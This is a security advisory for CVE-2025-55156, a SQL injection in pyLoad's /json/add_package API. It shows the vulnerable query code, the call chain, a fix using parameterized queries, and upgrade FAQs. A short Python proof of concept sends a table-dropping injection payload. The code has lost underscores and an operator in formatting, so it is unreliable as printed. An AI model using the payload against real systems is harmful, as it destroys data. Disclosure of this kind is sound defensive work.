CVE-2025-55156: PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter
Summary The parameter addlinks in the API /json/addpackage is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.
Details - Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/filedatabase.py#L271 - Affected code: python @style.queue def updatelinkinfo(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) ids = [] statuses = "','".join(x[3] for x in data) self.c.execute(f"SELECT id FROM links WHERE url IN ('{statuses}')") for r in self.c: ids.append(int(r[0])) return ids statuses is constructed from data, and data is the value of the addlinks parameter entered by the user through /json/addpackge. Because {statuses} is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.
- Vulnerability Chain xml josnblueprint.py#addpackage src/pyload/core/api/init.py#addpackage src/pyload/core/managers/filemanager.py#addlinks src/pyload/core/threads/infothread.py#run src/pyload/core/threads/infothread.py#updateinfo src/pyload/core/managers/filemanager.py#updatefileinfo src/pyload/core/database/filedatabase.py#updatelinkinfo
PoC python import requests
if name == "main": url = "http://localhost:8000/json/addpackage" data = { "addname": "My Downloads1", "adddest": "0", "addlinks": "https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--", "addpassword": "mypassword" }
response = requests.post(url, cookies=yourcookies, data=data) print(response.statuscode, response.text) <img width="1599" height="827" alt="image" src="https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202" />
Remediation python def updatelinkinfo(self, data): """ data is list of tuples (name, size, status, url) """ self.c.executemany( "UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)", data, ) # 提取所有url urls = [x[3] for x in data] # 构建参数化查询，避免SQL注入 placeholders = ','.join(['?'] len(urls)) query = f"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)" self.c.execute(query, urls) ids = [int(row[0]) for row in self.c.fetchall()] return ids
Impact Attackers can modify or delete data in the database, causing data errors or loss.
Other sources
pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter addlinks in API /json/addpackage is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-55156?
CVE-2025-55156 is considered a high-severity vulnerability due to its potential for SQL Injection which can lead to data modification and loss.
How do I fix CVE-2025-55156?
To fix CVE-2025-55156, update pyLoad to version 0.5.0b3.dev91 or later, which resolves the SQL Injection vulnerability.
Which versions of pyLoad are affected by CVE-2025-55156?
Versions of pyLoad prior to 0.5.0b3.dev91 are affected by CVE-2025-55156.
What type of vulnerability is CVE-2025-55156?
CVE-2025-55156 is an SQL Injection vulnerability that affects the add_links parameter in the API of pyLoad.
What are the potential impacts of CVE-2025-55156?
If exploited, CVE-2025-55156 could allow attackers to modify or delete database entries, leading to data errors or loss.